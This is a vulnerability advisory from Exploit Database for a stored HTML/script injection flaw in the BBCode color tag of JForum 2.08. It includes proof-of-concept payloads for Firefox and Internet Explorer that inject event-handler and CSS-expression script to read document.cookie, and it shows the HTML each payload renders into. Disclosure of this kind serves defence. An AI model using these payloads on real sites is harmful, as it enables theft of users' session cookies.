JForum 2.08 – BBCode Color Tag HTML Injection

• Exploit Database
• 13 阅读

• 作者： Giorgio Fedon
  日期： 2010-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34441/

• source: https://www.securityfocus.com/bid/42414/info
  
  JForum is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
  
  Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
  
  JForum 2.08 is vulnerable; other versions may also be affected. 
  
  Stored XSS - proof of concept for Firefox ("onMouseOver" is blacklisted):
  
  [color=red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)']XSS4FF[/color] 
  
  
  Renders into the following HTML code:
  
  <font color='red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)'>XSS4FF</font> 
  
  
  
  Stored XSS - proof of concept for Internet Explorer ("style" cannot contain parenthesis "(" ):
  
  [color=red' /style='color:expression(alert(document.cookie))']XSS4IE[/color] 
  
  
  
  Renders into the following HTML code:
  
  <font color='red' /style='color:expression(alert(document.cookie))'>XSS4IE</font>